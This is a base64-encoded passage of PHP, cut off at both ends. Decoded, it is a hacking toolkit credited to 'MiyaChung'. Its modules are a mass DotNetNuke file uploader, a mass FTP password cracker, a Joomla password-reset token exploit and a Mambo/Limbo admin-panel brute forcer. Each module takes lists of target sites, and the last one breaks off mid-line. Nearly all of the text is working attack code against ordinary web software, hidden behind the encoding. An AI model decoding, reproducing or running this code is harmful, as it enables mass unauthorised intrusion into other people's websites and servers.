+JycuJHZpZXcuJycpOw0KICAgICAgICAgDQogICAgICAgICANCiAgICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLDApOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVkVSQk9TRSwwKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTMpIEdlY2tvLzIwMTAxMjAzIEZpcmVmb3gvMy42LjEzICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9QT1NULDEpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVEZJRUxEUywkcG9zdCk7DQogICAgICAgICAgJGV4ZWMgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICAgDQogICAgICAgICAgcmV0dXJuICRleGVjOw0KICAgICAgICAgDQogICAgICAgICAgfQ0KICAgICAgICAgIHB1YmxpYyBmdW5jdGlvbiBiYWdsYW5fMygka29kKXsNCiAgICAgICAgIA0KICAgICAgICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRrb2QpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9IRUFERVIsMCk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9WRVJCT1NFLDApOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMykgR2Vja28vMjAxMDEyMDMgRmlyZWZveC8zLjYuMTMgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCiAgICAgICAgICAkZXhlYz1jdXJsX2V4ZWMoJGN1cmwpOw0KICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICAgIHJldHVybiAkZXhlYzsNCiAgICAgICAgICB9DQogICAgICAgICAgcHVibGljIGZ1bmN0aW9uIGJhZ2xhbl80KCR1cmwsJGZvbGRlciwkZmlsZSwkdmlldyl7DQogICAgICAgICAgICAgICANCiAgICAkcG9zdCA9IGFycmF5KA0KICAgICdfX0VWRU5UVEFSR0VUJz0+J2N0bFVSTCRjbWRTYXZlJywNCiAgICAnX19FVkVOVEFSR1VNRU5UJz0+JycsDQogICAgJ19fTEFTVEZPQ1VTJz0+JycsDQogICAgJ2N0bFVSTCRvcHRUeXBlJz0+J0YnLA0KICAgICdjdGxVUkwkY2JvRm9sZGVycyc9PicnLiRmb2xkZXIuJycsDQogICAgJ2N0bFVSTCR0eHRGaWxlJz0+J0AnLiRmaWxlLicnLA0KICAgICdfX1ZJRVdTVEFURSc9PicnLiR2aWV3LicnKTsgICAgDQogICAgICAgICANCiAgICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLDApOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVkVSQk9TRSwwKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFRkVSRVIsJHVybC4kdGhpcy0+ZWspOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMykgR2Vja28vMjAxMDEyMDMgRmlyZWZveC8zLjYuMTMgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1QsMSk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9QT1NURklFTERTLCRwb3N0KTsNCiAgICAgICAgICAkZXhlYyA9IGN1cmxfZXhlYygkY3VybCk7DQogICAgICAgICAgY3VybF9jbG9zZSgkY3VybCk7DQogICAgICAgICANCiAgICByZXR1cm4gJGV4ZWM7DQogICAgICAgICAgfQ0KICAgICANCiAgICAgDQogICAgfQ0KICAgICANCiAgICBlY2hvICc8Y2VudGVyPjx0aXRsZT5Eb3RudWtlIFRvcGx1IEZpbGUgVXBsb2FkIC0gUHJpdmF0ZSBbTWl5YUNodW5nXTwvdGl0bGU+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgU2l0ZWxlciA7IDxicj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic2l0ZWxlciI+PGJyPkRvc3lhbiA7IDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSI+PGJyPg0KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNjYW4iIHZhbHVlPSJTY2FuIj4NCiAgICA8L2Zvcm0+DQogICAgPC9jZW50ZXI+JzsNCiAgICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydzY2FuJ10pKXsNCiAgICAgDQogICAgJGZzbyA9IG5ldyBmc28oKTsNCiAgICAgDQogICAgJGZpbGUgPSAkX1BPU1RbJ2ZpbGUnXTsNCiAgICAgDQogICAgJGRpcj0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLiIvIi4kZmlsZTsNCiAgICAgDQogICAgJHNpdGVsZXIgPSBleHBsb2RlKCJcbiIsZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1sic2l0ZWxlciJdWyJ0bXBfbmFtZSJdKSk7DQogICAgIA0KICAgICAgIGZvcmVhY2goJHNpdGVsZXIgYXMgJHNpdGVzKXsNCiAgICAgICANCiAgICAgICAkc2l0ZXMgPSB0cmltKCRzaXRlcyk7DQogICAgICAgDQogICAgICAgJGZzby0+YmFnbGFuKCRzaXRlcywkZGlyLCRmaWxlKTsNCiAgICAgICANCiAgICAgICB9DQogICAgIA0KICAgIH0NCiAgICAgDQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gIm1hc3NmdHAiICkgew0KICAgID8+DQogICAgPGNlbnRlcj4NCiAgICA8dGl0bGU+TWFzcyBGVFAgQ3JhY2tlciAtIFByaXZhdGUgW01peWFDaHVuZ108L3RpdGxlPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIEhvc3RzIDogPGJyPg0KICAgIDx0ZXh0YXJlYSBuYW1lPSJob3N0IiBjb2xzPSIyMCIgcm93cz0iNCI+PC90ZXh0YXJlYT48YnI+DQogICAgVXNlcnMgOiA8YnI+DQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJzIj48YnI+DQogICAgUGFzc3dvcmRzIDogPGJyPg0KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzd29yZHMiPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDcmFjayI+DQogICAgPC9mb3JtPg0KICAgIDwvY2VudGVyPg0KICAgIDw/cGhwDQogICAgLyoNCiAgICBNYXNzIEZUUCBDcmFja2VyICgpDQogICAgTWl5YUNodW5nDQogICAgTWl5YUNodW5nQGhvdG1haWwuY29tDQogICAgKi8NCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICBvYl9zdGFydCgpOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKXsNCiAgICBpZihlbXB0eSgkX1BPU1RbJ2hvc3QnXSkpe2VjaG8gJ0hvc3QgbGlzdGVzaW5pIGRvbGR1cnVuLjxicj4nO30NCiAgICBpZihlbXB0eSgkX1BPU1RbJ3VzZXJzJ10pKXtlY2hvICdVc2VycyBsaXN0ZXNpbmkgZG9sZHVydW48YnI+Jzt9DQogICAgaWYoZW1wdHkoJF9QT1NUWydwYXNzd29yZHMnXSkpe2VjaG8gJ1Bhc3N3b3JkcyBsaXN0ZXNpbmkgZG9sZHVydW4nO30NCiAgICAkaG9zdHM9ZXhwbG9kZSgiXG4iLCRfUE9TVFsiaG9zdCJdKTsNCiAgICAkdXNlcnM9ZXhwbG9kZSgiXG4iLGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsndXNlcnMnXSkpOw0KICAgICRwYXNzPWV4cGxvZGUoIlxuIixmaWxlX2dldF9jb250ZW50cygkX1BPU1RbInBhc3N3b3JkcyJdKSk7DQogICAgIA0KICAgIGVjaG8gJzxjZW50ZXI+Q3JhY2tpbmcgU3RhcnRlZCxQbGVhc2Ugd2FpdC4uLjwvY2VudGVyPjxicj4nOw0KICAgIGZvcmVhY2goJGhvc3RzIGFzICRob3N0bGFyKXsNCiAgICAkaG9zdHM9dHJpbSgkaG9zdGxhcik7DQogICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXJsZXIpew0KICAgICR1c2Vyej10cmltKCR1c2VybGVyKTsNCiAgICBmb3JlYWNoKCRwYXNzIGFzICRwYXNzbGFyKXsNCiAgICAkcGFzc3dvcmRzPXRyaW0oJHBhc3NsYXIpOw0KICAgICRjdXJsID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICdmdHA6Ly8nLiR1c2Vyei4nOicuJHBhc3N3b3Jkcy4nQCcuJGhvc3RzLicnKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRlRQTElTVE9OTFksMSk7DQogICAgJGV4ZWMgPSBjdXJsX2V4ZWMoJGN1cmwpOyAgDQogICAgIA0KICAgIGlmKGN1cmxfZXJybm8oJGN1cmwpPT0wKXsNCiAgICBlY2hvICI8Y2VudGVyPiIuJGhvc3RzLiIgLSAiLiR1c2Vyei4iIC0gIi4kcGFzc3dvcmRzLiIgRm91bmQuPC9jZW50ZXI+PGJyPiI7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgIH0NCiAgICAgDQogICAgIA0KICAgIH0NCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImpvb210IiApIHsNCiAgICA/Pg0KICAgIDw/cGhwDQogICAgb2Jfc3RhcnQoKTsNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgaWYgKCFleHRlbnNpb25fbG9hZGVkKGN1cmwpKXtkaWUoIjxiPkN1cmwgTm90IFN1cHBvcnRlZCBQbGVhc2UgQ3VybCBMaWJyYXJ5IFVwbG9hZDwvYj4iKTt9DQogICAgZWNobyc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQogICAgPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KICAgICANCiAgICA8aGVhZD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJ0ciIgLz4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCiAgICA8dGl0bGU+Sm9vbWxhIFRva2VuPC90aXRsZT4NCiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgIC5zdHlsZTEgew0KICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICB9DQogICAgLnN0eWxlMiB7DQogICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7DQogICAgfQ0KICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KICAgICANCiAgICA8Ym9keT4NCiAgICAgDQogICAgPHAgY2xhc3M9InN0eWxlMiI+PHN0cm9uZz5Kb29tbGEgVG9rZW48L3N0cm9uZz48L3A+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgICAgPGRpdiBjbGFzcz0ic3R5bGUxIj4NCiAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0idG9rZW4iIHN0eWxlPSJoZWlnaHQ6IDEyMHB4OyB3aWR0aDogNDk5cHgiPjwvdGV4dGFyZWE+PGJyIC8+DQogICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRhcmEiIC8+PGJyPjxicj5Kb29tbGEgVG9rZW48L2Rpdj4NCiAgICA8L2Zvcm0+DQogICAgIA0KICAgIDwvYm9keT4NCiAgICAgDQogICAgPC9odG1sPic7DQogICAgY2xhc3MgU2VhcmNoZXINCiAgICB7DQogICAgICAgcHJpdmF0ZSAka29kbGFyOw0KICAgICAgIHByaXZhdGUgJGVrbGU7DQogICAgICAgcHJpdmF0ZSAkZWtsZXg7DQogICAgICAgcHJpdmF0ZSAkdmVyaTsNCiAgICAgICANCiAgICAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQ0KICAgICAgIHsNCiAgICAgICAgICAkdGhpcy0+a29kbGFyPW51bGw7DQogICAgICAgICAgJHRoaXMtPnZlcmk9bnVsbDsNCiAgICAgICAgICAkdGhpcy0+ZWtsZT0iLz9vcHRpb249Y29tX3VzZXImdmlldz1yZXNldCZsYXlvdXQ9Y29uZmlybSI7DQogICAgICAgICAgJHRoaXMtPmVrbGV4PSIvP29wdGlvbj1jb21fdXNlciZ0YXNrPWNvbmZpcm1yZXNldCI7DQogICAgICAgfQ0KICAgICAgIHByaXZhdGUgZnVuY3Rpb24gYmFnbGFuKCR1cmwpDQogICAgICAgew0KICAgICAgICAgICRiYWdsYW49Y3VybF9pbml0KCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9VUkwsJHVybCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMS4xNSkgR2Vja28vMjAwODExMTMxNyAgRmlyZWZveC8zLjAuNCcpOw0KICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRiYWdsYW4sIENVUkxPUFRfQ09PS0lFSkFSLCAnZG9zeWEudHh0Jyk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9DT09LSUVGSUxFLCAnZG9zeWEudHh0Jyk7DQogICAgICAgICAgICAgJHRoaXMtPmtvZGxhcj1jdXJsX2V4ZWMoJGJhZ2xhbik7DQogICAgICAgICAgICAgY3VybF9jbG9zZSgkYmFnbGFuKTsNCiAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPmtvZGxhcjsNCiAgICAgICB9DQogICAgICAgcHJpdmF0ZSBmdW5jdGlvbiBwb3N0YWxhKCRzaXRlKQ0KICAgICAgIHsNCiAgICAgICAgICAkYWRyZXM9JHNpdGUuJHRoaXMtPmVrbGU7DQogICAgICAgICAgJGhhc2g9c2VsZjo6aGFzaEJ1bCgkYWRyZXMpOw0KICAgICAgICAgICR1cmw9JHNpdGUuJHRoaXMtPmVrbGV4Ow0KICAgICAgICAgICRiYWdsYW49Y3VybF9pbml0KCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9VUkwsJHVybCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9DT09LSUVKQVIsICdkb3N5YS50eHQnKTsNCiAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYmFnbGFuLCBDVVJMT1BUX0NPT0tJRUZJTEUsICdkb3N5YS50eHQnKTsNCiAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYmFnbGFuLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xLjE1KSBHZWNrby8yMDA4MTExMzE3ICBGaXJlZm94LzMuMC40Jyk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYmFnbGFuLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJ0b2tlbj0lMjcmIi4kaGFzaC4iPTEiKTsNCiAgICAgICAgICAgICAkdGhpcy0+dmVyaT1jdXJsX2V4ZWMoJGJhZ2xhbik7DQogICAgICAgICAgICAgY3VybF9jbG9zZSgkYmFnbGFuKTsNCiAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnZlcmk7DQogICAgICAgfQ0KICAgICAgIHByaXZhdGUgZnVuY3Rpb24gaGFzaEJ1bCgka2F5bmFrKQ0KICAgICAgIHsNCiAgICAgICAgICAkdGhpcy0+cGFyY2FsYT1zZWxmOjpiYWdsYW4oJGtheW5hayk7DQogICAgICAgICAgJHRoaXMtPmRlc2VuPSIvdHlwZT1cImhpZGRlblwiIG5hbWU9XCIoWzAtOWEtZl17MzJ9KVwiIHZhbHVlPVwiMVwiL3NpIjsNCiAgICAgICAgICBwcmVnX21hdGNoX2FsbCgkdGhpcy0+ZGVzZW4sJHRoaXMtPnBhcmNhbGEsJGRpemkpOw0KICAgICAgICAgIHJldHVybiAkZGl6aVsxXVswXTsNCiAgICAgICB9DQogICAgICAgcHVibGljIGZ1bmN0aW9uIGtvbnRyb2woJGFkcmVzKQ0KICAgICAgIHsNCiAgICAgICBnbG9iYWwgJHRva2VudGFyYTsNCiAgICAgICAgICAkcG9zdGFsYT1zZWxmOjpwb3N0YWxhKCRhZHJlcyk7DQogICAgICAgICAgaWYoZXJlZ2koJ25hbWU9InBhc3N3b3JkMSInLCRwb3N0YWxhKSkNCiAgICAgICAgICB7DQogICAgICAgICAgICAgZWNobyAnPGNlbnRlcj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgICAgICAgIC5iZWtsZXlhemkgew0KICAgICAgICAgICAgICAgIGNvbG9yOiAjMDBGRjAwOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICA8L3N0eWxlPg0KICAgICANCiAgICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmVrbGV5YXppIj48c3Ryb25nPkZvdW5kIDogPC9zdHJvbmc+PGEgaHJlZj0iJy4kdG9rZW50YXJhLiR0aGlzLT5la2xlLiciPicuJHRva2VudGFyYS4kdGhpcy0+ZWtsZS4nPC9hPjwvc3Bhbj48L3A+PC9jZW50ZXI+JzsNCiAgICAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpDQogICAgICAgew0KICAgICAgICAgIHVuc2V0KCR0aGlzLT5rb2RsYXIpOw0KICAgICAgICAgIHVuc2V0KCR0aGlzLT52ZXJpKTsNCiAgICAgICB9ICANCiAgICB9DQogICAgIA0KICAgICR4PW5ldyBTZWFyY2hlcigpOw0KICAgICR0b2tlbj0kX1BPU1QgWyd0b2tlbiddOw0KICAgIGlmICgkdG9rZW4pDQogICAgew0KICAgICAgIGVjaG8gJzxjZW50ZXI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICAuYmVrbGVpc3RlIHsNCiAgICAgICAgICBjb2xvcjogIzAwMDAwMDsNCiAgICAgICB9DQogICAgICAgPC9zdHlsZT4NCiAgICAgDQogICAgICAgPHA+DQogICAgICAgPGltZyBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3LmJsdWVpY2VzdHVkaW9zLmNvbS9hamF4L2ltYWdlcy9hamF4LWxvYWRlci5naWYiIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgLz48c3BhbiBjbGFzcz0iYmVrbGVpc3RlIj4NCiAgICAgICBUYXJhbml5b3IuLi4gTHV0ZmVuIEJla2xleWluLi4uPC9zcGFuPjwvcD48L2NlbnRlcj4nOw0KICAgICR0ZW1pej1leHBsb2RlICgiXHJcbiIsJHRva2VuKTsNCiAgICBmb3JlYWNoICgkdGVtaXogYXMgJHRva2VudGFyYSkNCiAgICB7DQogICAgZWNobyAkeC0+a29udHJvbCgkdG9rZW50YXJhKTsNCiAgICB9DQogICAgICAgZWNobyAnPGNlbnRlcj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgIC5iZWtsZWlzdGUgew0KICAgICAgICAgIGNvbG9yOiAjMDAwMDAwOw0KICAgICAgIH0NCiAgICAgICA8L3N0eWxlPg0KICAgICANCiAgICAgICA8cD4NCiAgICAgICA8c3BhbiBjbGFzcz0iYmVrbGVpc3RlIj5GSU5JU0guLi48L3NwYW4+PC9wPjwvY2VudGVyPic7DQogICAgIA0KICAgIH0NCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gIm1hbWJvIiApIHsNCiAgICA/Pg0KICAgIDw/cGhwDQogICAgb2Jfc3RhcnQoKTsNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgI01hbWJvIC8gTGltYm8gTWFzcyBBZG1pbiBQYW5lbCBCcnV0ZSBGb3JjZXIjDQogICAgI0NvZGV4LXggQnkgTWl5YUNodW5nIw0KICAgICNTaXRlbGVyaSBodHRwOi8vd3d3LnNpdGUuY29tLyBTZWtsaW5kZSB2ZXJpbiMNCiAgICAgDQogICAgZWNobyAnPHRpdGxlPk1hbWJvIC8gTGltYm8gTWFzcyBBZG1pbiBQYW5lbCBCcnV0ZSBGb3JjZXI8L3RpdGxlPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQogICAgPCEtLQ0KICAgIGJvZHksdGQsdGggew0KICAgICAgIGNvbG9yOiAjRkZGRkZGOw0KICAgIH0NCiAgICBib2R5IHsNCiAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KICAgIH0NCiAgICAuc2l5YWggew0KICAgICAgIGNvbG9yOiAjRkZGRkZGOw0KICAgICAgIGJhY2tncm91bmQtY29sb3I6ICM5OTAwMDA7DQogICAgfQ0KICAgIC5zdHlsZTIgew0KICAgICAgIGNvbG9yOiAjRkZGRkZGOw0KICAgICAgIGJhY2tncm91bmQtY29sb3I6ICM5OTAwMDA7DQogICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIH0NCiAgICAtLT4NCiAgICA8L3N0eWxlPg0KICAgIDxkaXYgYWxpZ249ImNlbnRlciIgY2xhc3M9InN0eWxlMiI+TWFtYm8gLyBMaW1ibyBNYXNzIEFkbWluIFBhbmVsIEJydXRlIEZvcmNlciA8L2Rpdj4NCiAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+DQogICAgPHAgYWxpZ249ImNlbnRlciI+DQogICAgICA8dGV4dGFyZWEgbmFtZT0ic2l0ZWxpc3QiIGNvbHM9IjQwIiByb3dzPSIxMCIgY2xhc3M9InNpeWFoIiBpZD0ic2l0ZWxpc3QiPjwvdGV4dGFyZWE+DQogICAgICA8YnI+DQogICAgICA8YnI+DQogICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2l5YWgiIHZhbHVlPSJ3MHQiPg0KICAgIDwvcD4NCiAgICA8L2Zvcm0+JzsNCiAgICAkZWsgPSAiYWRtaW5pc3RyYXRvci9pbmRleC5waHAiOw0KICAgICRzaXRlbGlzdD1leHBsb2RlKCJcbiIsJF9QT1NUWydzaXRlbGlzdCddKTsNCiAgICBmb3JlYWNoKCRzaXRlbGlzdCBhcyAkeWVuaWxpc3Qpew0KICAgICR0ZW1pej10cmltKCR5ZW5pbGlzdCk7DQogICAgJHNpdGU9JHRlbWl6LiRlazsNCiAgICAgDQogICAgaWYoISAkX1BPU1RbJ3NpdGVsaXN0J109PSIiKXsNCiAgICAgDQogICAgICAgJHVzZXJuYW1lID0gJ2FkbWluJzsgLy8gQ0hBTkdFIFRISVMNCiAgICAgICAkcGFzc3dvcmQgPSAnYWRtaW4nOyAvLyBDSEFOR0UgVEhJUw0KICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRzaXRlKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xLjE1KSBHZWNrby8yMDA4MTExMzE3ICBGaXJlZm94LzMuMC40Jyk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwxKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVCwxKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1RGSUVMRFMsInVzcm5hbWU9JHVzZXJuYW1lJnBhc3M9JHB